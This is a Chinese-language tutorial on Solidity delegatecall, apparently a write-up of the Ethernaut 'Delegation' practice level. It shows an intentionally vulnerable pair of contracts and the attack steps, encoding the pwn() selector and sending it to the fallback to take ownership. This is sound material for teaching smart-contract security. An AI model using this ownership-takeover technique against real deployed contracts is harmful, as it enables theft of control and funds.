Skip to main content

Delegatecall

delegatecall有以下几个特点

A通过delegatecall调用B合约

  1. B 合约中,msg.sender是 A 合约调用的msg.sender
  2. B 合约中的变量书写顺序要和 A 合约保持一致,否则会导致变量状态修改错误,因为slot布局不一致
  3. B 合约中如果有修改状态变量的操作,其实修改的是 A 合约的状态变量

其中第三条会导致很多漏洞产生,如果我们能将自己的攻击合约设置成代理调用合约。则可以修改目标合约里的一些状态变量。

例如下面的例子: Delegation 要求我们获取Delegate合约的owner权限

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

我们拿到的是Delegation合约的地址,想要获取 owner 权限,则需要调用Delegation合约的fallback方法通过delegatecall调用Delegate合约的pwn方法,对于Delegate合约看到的msg.sender就是我们调用者的账号地址

攻击步骤:

// 获取 pwn()方法的编码
web3.eth.abi.encodeFunctionSignature("pwn()") => "0xdd365b8b"
// 调用 fallback 方法
await sendTransaction({
from: player,
to: instance,
value: 0,
data: "0xdd365b8b"
})